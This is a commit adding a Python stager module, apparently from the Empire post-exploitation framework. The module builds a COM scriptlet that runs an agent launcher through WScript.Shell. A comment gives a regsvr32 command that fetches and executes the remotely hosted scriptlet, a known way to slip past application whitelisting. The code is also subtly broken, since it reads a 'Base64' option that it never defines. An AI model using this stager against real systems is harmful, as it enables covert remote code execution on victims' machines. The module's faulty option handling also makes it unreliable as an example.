new_contents: from lib.common import helpers
  
  class Stager:
  
      def __init__(self, mainMenu, params=[]):
  
          self.info = {
              'Name': 'regsvr32',
  
              'Author': ['@subTee', '@enigma0x3'],
  
              'Description': ('Generates an sct file (COM Scriptlet) Host this anywhere'),
  
              'Comments': [
                  'On the endpoint simple lauch regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll '
              ]
          }
  
          # any options needed by the stager, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Listener': {
                  'Description':   'Listener to generate stager for.',
                  'Required':   True,
                  'Value':   ''
              },
              'StagerRetries': {
                  'Description':   'Times for the stager to retry connecting.',
                  'Required':   False,
                  'Value':   '0'
              },
              'OutFile': {
                  'Description':   'File to output SCT to, otherwise displayed on the screen.',
                  'Required':   False,
                  'Value':   '/tmp/launcher.sct'
              },
              'UserAgent': {
                  'Description':   'User-agent string to use for the staging request (default, none, or other).',
                  'Required':   False,
                  'Value':   'default'
              },
              'Proxy': {
                  'Description':   'Proxy to use for request (default, none, or other).',
                  'Required':   False,
                  'Value':   'default'
              },
              'ProxyCreds': {
                  'Description':   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                  'Required':   False,
                  'Value':   'default'
              }
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          for param in params:
              # parameter format is [Name, Value]
              option, value = param
              if option in self.options:
                  self.options[option]['Value'] = value
  
      def generate(self):
  
          # extract all of our options
          listenerName = self.options['Listener']['Value']
          base64 = self.options['Base64']['Value']
          userAgent = self.options['UserAgent']['Value']
          proxy = self.options['Proxy']['Value']
          proxyCreds = self.options['ProxyCreds']['Value']
          stagerRetries = self.options['StagerRetries']['Value']
  
          encode = False
          if base64.lower() == "true":
              encode = True
  
          # generate the launcher code
          launcher = self.mainMenu.stagers.generate_launcher(
              listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
  
          if launcher == "":
              print helpers.color("[!] Error in launcher command generation.")
              return ""
          else:
              code = "<?XML version=\"1.0\"?>\n"
              code += "<scriptlet>\n"
              code += "<registration\n"
              code +=     "description=\"Win32COMDebug\"\n"
              code +=     "progid=\"Win32COMDebug\"\n"
              code +=     "version=\"1.00\"\n"
              code +=     "classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\n"
              code += " >\n"
              code += " <script language=\"JScript\">\n"
              code += "      <![CDATA[\n"
              code += "           var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\");\n"
              code += "      ]]>\n"
              code += " </script>\n"
              code += "</registration>\n"
              code += "<public>\n"
              code += "    <method name=\"Exec\"></method>\n"
              code += "</public>\n"
              code += "</scriptlet>\n"
  
          return code
  
subject: Create regsvr32.py